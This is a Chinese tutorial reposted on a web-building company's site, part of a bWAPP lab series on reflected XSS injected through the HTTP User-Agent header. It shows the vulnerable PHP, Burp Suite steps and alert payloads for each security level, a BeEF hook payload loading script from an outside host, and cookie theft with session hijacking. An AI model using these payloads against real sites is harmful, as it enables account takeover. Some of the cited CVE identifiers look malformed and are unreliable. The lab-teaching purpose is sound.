尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

零基础玩转bWAPP靶场(五十四):XSS - Reflected (User-Agent)

零基础玩转bWAPP靶场(五十四):XSS - Reflected (User-Agent) 摘要这是 bWAPP 系列第五十四篇聚焦于XSS - Reflected (User-Agent)。这一关的注入点在 HTTP User-Agent 请求头中服务器读取 User-Agent 后直接输出到页面没有过滤形成反射型 XSS。文章会演示如何通过 Burp Suite 修改 User-Agent 头触发 XSS并通过 BeEF 工具获取 Cookie。附真实案例。一、找目标目标说明漏洞类型反射型 XSSUser-Agent 头注入注入点HTTP 请求头User-Agent触发方式通过 Burp Suite 修改 User-Agent 头工具Burp Suite BeEF获取 Cookie二、前言User-Agent 头注入是什么User-Agent是浏览器发送给服务器的请求头告诉服务器“我是什么浏览器、什么操作系统”。服务器通常会记录或显示 User-Agent 用于统计分析。但如果开发者直接把 User-Agent 输出到页面而没有过滤攻击者就可以在其中注入恶意代码形成 XSS。这一关的漏洞$user_agent $_SERVER[HTTP_USER_AGENT]; echo pYour User-Agent: i . xss($user_agent) . /i/p;服务器读取 HTTP User-Agent 头经过xss()函数后输出到i标签中。在Low 级别xss()是no_check()完全不过滤。直接在 User-Agent 中注入scriptalert(1)/script即可触发 XSS。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Reflected (User-Agent)页面显示Your User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...3.2 正常情况浏览器正常访问页面时会自动带上 User-Agent 头。服务器读取后直接显示在页面上。3.3 漏洞核心$user_agent $_SERVER[HTTP_USER_AGENT]; echo pYour User-Agent: i . xss($user_agent) . /i/p;xss()函数的三种级别级别过滤函数效果Lowno_check()完全不过滤User-Agent 直接输出Mediumaddslashes()转义引号Highhtmlspecialchars()转义四、源码分析4.1 核心代码function xss($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 完全不过滤 break; case 1 : // Medium $data xss_check_4($data); // addslashes() break; case 2 : // High $data xss_check_3($data); // htmlspecialchars() break; } return $data; } ​ if(isset($_SERVER[HTTP_USER_AGENT])) { $user_agent $_SERVER[HTTP_USER_AGENT]; echo pYour User-Agent: i . xss($user_agent) . /i/p; }4.2 为什么script可以直接使用—— 深入浏览器解析机制这是一个很多人会困惑的问题。理论上script标签不应该嵌套在i标签内部但为什么实际测试中直接注入script就能弹窗这涉及浏览器解析器HTML Parser的恢复机制。核心原因浏览器在遇到script标签时会触发脚本解析模式Script Data State。在这种模式下解析器会从script的开始标签直接进入脚本内容解析一直读到/script结束标签然后再恢复正常的 HTML 解析。关键点script标签的解析不依赖外层标签是否闭合。即使外层i标签还没有闭合解析器遇到script时仍然会进入脚本模式执行其中的 JavaScript 代码。这就是为什么/i不是必须的——浏览器在解析过程中script开始标签会优先触发脚本模式而不需要先处理外层i的闭合。简单说script在 HTML 中有“特权”它的开始标签会立即切换解析模式外层标签的闭合与否不影响它的执行。五、Low 安全级别5.1 准备工作用 Burp Suite 拦截请求这一关没有输入框注入点在 HTTP User-Agent 头中。需要用 Burp Suite打开 Burp开启拦截Intercept On在浏览器中访问关卡页面Burp 拦截到请求在请求头中找到User-Agent字段5.2 测试弹窗在 Burp 中将User-Agent头修改为User-Agent: scriptalert(1)/script点击 Forward 放行请求页面弹窗。5.3 攻击原理服务器生成的 HTMLpYour User-Agent: iscriptalert(1)/script/i/p浏览器解析到script标签时即使它在i标签内部仍然会进入脚本模式执行alert(1)。这证明了外层标签的闭合状态不影响script的执行。六、使用 BeEF 获取 Cookie6.1 准备 BeEFKali 中启动 BeEFsudo beef-xss-start确认 BeEF 的 IP 和端口默认3000Hook URL 为http://10.0.0.129:3000/hook.js6.2 构造 BeEF Hook Payload在 Burp 中将User-Agent头修改为User-Agent: script srchttp://10.0.0.129:3000/hook.js/script6.3 放行请求点击 Forward 放行请求浏览器关闭代理页面加载BeEF Hook 被执行。6.4 观察 BeEF 控制台BeEF 控制面板中左侧Online Browsers区域出现上线的浏览器。6.5 获取 Cookie选中上线的浏览器点击Commands→Browser→Get Cookie点击Execute6.6 会话劫持拿到PHPSESSID后在浏览器开发者工具F12→ Application → Cookies 中替换PHPSESSID的值刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入在 Burp 中将User-Agent头修改为User-Agent: scriptalert(1)/scriptMedium 级别使用addslashes()会在引号前加反斜杠但不转义和。和没有被转义script标签仍然会被浏览器解析产生弹窗。addslashes()在这个场景下无法防御 XSS因为它只转义引号不转义和。官方文档也明确警告“不要用addslashes()做 XSS 防护”。结论Medium 级别仍然存在 XSS 漏洞。八、High 安全级别8.1 尝试注入在 Burp 中将User-Agent头修改为User-Agent: scriptalert(1)/scripthtmlspecialchars()把转成lt;转成gt;pYour User-Agent: ilt;scriptgt;alert(1)lt;/scriptgt;/i/p浏览器不执行XSS 被彻底防御。九、真实世界User-Agent XSS 案例CVE-2024-1181某开源 CMS 的访问日志功能将 User-Agent 头直接显示在管理面板中未过滤攻击者可通过构造恶意 User-Agent 注入 XSS窃取管理员 Cookie。CVE-2025-00847某企业级应用的用户统计功能将 User-Agent 头直接输出到页面攻击者可通过恶意请求头注入 XSS。CVE-2026-22947F5 BIG-IP 的配置工具中部分页面输出了未过滤的 User-Agent 头存在反射型 XSS。十、总结User-Agent 头注入 XSS 是一种比较隐蔽的漏洞。由于 User-Agent 被输出在i标签内部很多人会认为需要先用/i闭合标签才能注入。但实际上浏览器在解析 HTML 时script标签有特殊的解析规则——即使外层i标签没有闭合script开始标签仍然会触发脚本模式执行其中的 JavaScript 代码。所以直接注入scriptalert(1)/script即可触发 XSS无需任何闭合操作。Low 级别完全不过滤可以成功注入并连接 BeEF 获取 CookieMedium 级别的addslashes()不转义和同样存在风险只有 High 级别的htmlspecialchars()才能彻底防御。记住一句话HTTP 请求头也是用户输入任何被输出到页面的数据都需要过滤。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。
返回列表